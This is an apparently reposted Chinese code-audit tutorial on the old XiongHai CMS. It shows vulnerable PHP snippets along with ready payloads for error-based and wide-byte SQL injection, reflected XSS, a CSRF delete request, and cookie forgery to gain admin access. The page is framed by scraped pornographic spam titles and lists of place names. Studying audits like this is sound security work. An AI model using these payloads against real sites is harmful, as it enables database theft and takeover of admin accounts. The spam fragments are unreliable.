最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

熊海CMS代碼審計(jì)漏洞分析

 更新時(shí)間:2023年02月24日 10:48:41   作者:XINO  
這篇文章主要為大家介紹了熊海CMS代碼審計(jì)漏洞分析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪

前言

熊海CMS是由熊海開(kāi)發(fā)的一款可廣泛應(yīng)用于個(gè)人博客,個(gè)人網(wǎng)站,企業(yè)網(wǎng)站的一套網(wǎng)站綜合管理系統(tǒng)。作為一個(gè)早期的系統(tǒng),里面代碼存在許多漏洞利用點(diǎn),且代碼量低適合作為代碼審計(jì)的入門(mén)挑戰(zhàn),本文就帶領(lǐng)大家對(duì)該系統(tǒng)存在的漏洞進(jìn)行分析。

基本結(jié)構(gòu)

這里我選擇使用小皮面板搭建在了本地,以便于調(diào)試錯(cuò)誤,首先我們看看系統(tǒng)的結(jié)構(gòu):

——admin     //后臺(tái)?件
——css       //css?件
——files    //功能函數(shù)?件
——images   //圖?
——index.php //主?錄?件
——install   //安裝?件
——seacmseditor  //編輯器
——template      //模板?件
——upload    //?件上傳?錄

SQL注入漏洞

第一處

我們跳轉(zhuǎn)到admin/files/editlink.php,分析里面的一段代碼:

$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語(yǔ)句有誤:'.mysql_error());
$nav = mysql_fetch_array($resul);
}

簡(jiǎn)單分析一下,我們通過(guò)GET輸入id和type,之后type與1進(jìn)行對(duì)比,匹配后會(huì)執(zhí)行SQL語(yǔ)句,了解SQL注入漏洞的朋友可能會(huì)看出這里有一個(gè)單引號(hào)閉合漏洞,我們只需在參數(shù)前進(jìn)行構(gòu)造閉合單引號(hào),之后便可以成功執(zhí)行自定義的SQL語(yǔ)句:

r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

需要注意的是作為結(jié)果只返回給我們SQL語(yǔ)句正確與否,所以這里考慮使用錯(cuò)報(bào)注入。

第二處

admin/files/editlink.php這個(gè)路徑下有一段代碼:

$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語(yǔ)句有誤:'.mysql_error());
$link = mysql_fetch_array($resul);

這里同樣存在一個(gè)GET傳參點(diǎn),我們可以傳入變量名為id的值,之后會(huì)執(zhí)行SQL語(yǔ)句查詢ID,若SQL語(yǔ)句有誤,進(jìn)行錯(cuò)報(bào),因?yàn)槭菃我?hào)閉合這里可以和第一處一樣使用錯(cuò)報(bào)注入。

id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

第三處

/file/download.php這個(gè)路徑下的代碼:

$llink=addslashes($_GET['r']);
$query = "SELECT * FROM nav WHERE link='$llink'";

可以看到里面有addslashes函數(shù):

這個(gè)函數(shù)會(huì)將預(yù)定義字符轉(zhuǎn)換加上反斜杠,所以我們無(wú)法進(jìn)行正常的單引號(hào)閉合,需要想辦法繞過(guò),方法也很多,這里就簡(jiǎn)單用寬字節(jié)注入繞過(guò),具體使用方法可以參考我之前的文章:

http://m.fzitv.net/article/276349.htm

參考大佬的payload:

r=%df%27or%20if(1,sleep(3),1)%20%23

XSS漏洞

第一處

在/file/contact.php出存在漏洞代碼:

$page=addslashes($_GET['page']); 
<?php echo $page?> 

可以看到直接echo出了page變量,而該變量是我們直接可以GET傳入的,這里我們直接使用彈窗payload:

<img src=1 onerror=alert(/xss/)>

第二處

在/files/content.php出,存在與第一處差不多的代碼:

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."頁(yè) - ";
}

我們也可以向上面一樣將語(yǔ)句傳進(jìn)變量里去。

CSRF漏洞

第一處

這里以/admin/files/wzlist.php為例:

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL語(yǔ)句有誤:'.mysql_error());
echo "<script>alert('親,ID為".$delete."的內(nèi)容已經(jīng)成功刪除!');location.href='?r=wzlist'</script>";
exit;

可以看到代碼執(zhí)行刪除SQL語(yǔ)句時(shí)并沒(méi)有對(duì)代碼進(jìn)行檢測(cè),刪除操作對(duì)應(yīng)下面的界面:

我們先嘗試刪除然后進(jìn)行抓包,抓到了刪除時(shí)GET進(jìn)行的傳參:

?r=wzlist&delete=18

之后換另一個(gè)瀏覽器訪問(wèn)整個(gè)payload,結(jié)合該系統(tǒng)中的一個(gè)越權(quán)操作,將user改成admin,之后訪問(wèn),成功實(shí)現(xiàn)了跳過(guò)驗(yàn)證進(jìn)行了刪除操作。

當(dāng)然這只是其中的一個(gè)點(diǎn),softlist.php也存在類(lèi)似的CSRF漏洞。

垂直越權(quán)

第一處

在/inc/checklogin.php中,這里只看存在漏洞的代碼:

$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;   

這里直接給user的cookie值設(shè)置成admin,即可跳轉(zhuǎn)管理員界面。

結(jié)語(yǔ)

今天給大家?guī)?lái)的是一個(gè)小型CMS的代碼審計(jì),當(dāng)然該系統(tǒng)的漏洞遠(yuǎn)不止文中提到的這些,總的來(lái)說(shuō)還是挺簡(jiǎn)單的,有興趣的小伙伴可以自己下載源碼去搭建系統(tǒng)

以上就是熊海CMS代碼審計(jì)漏洞分析的詳細(xì)內(nèi)容,更多關(guān)于熊海CMS代碼審計(jì)的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

最新評(píng)論

玉树县| 涟水县| 通江县| 榆社县| 崇义县| 阳西县| 巨鹿县| 兴安盟| 通许县| 潢川县| 安丘市| 南江县| 石台县| 林甸县| 明水县| 永靖县| 金阳县| 麻城市| 咸丰县| 马龙县| 佛学| 凤山市| 张家界市| 湘潭市| 鲜城| 南华县| 株洲县| 乌鲁木齐县| 法库县| 且末县| 同心县| 徐州市| 天门市| 璧山县| 古蔺县| 石狮市| 广元市| 九龙县| 清徐县| 泗洪县| 那曲县|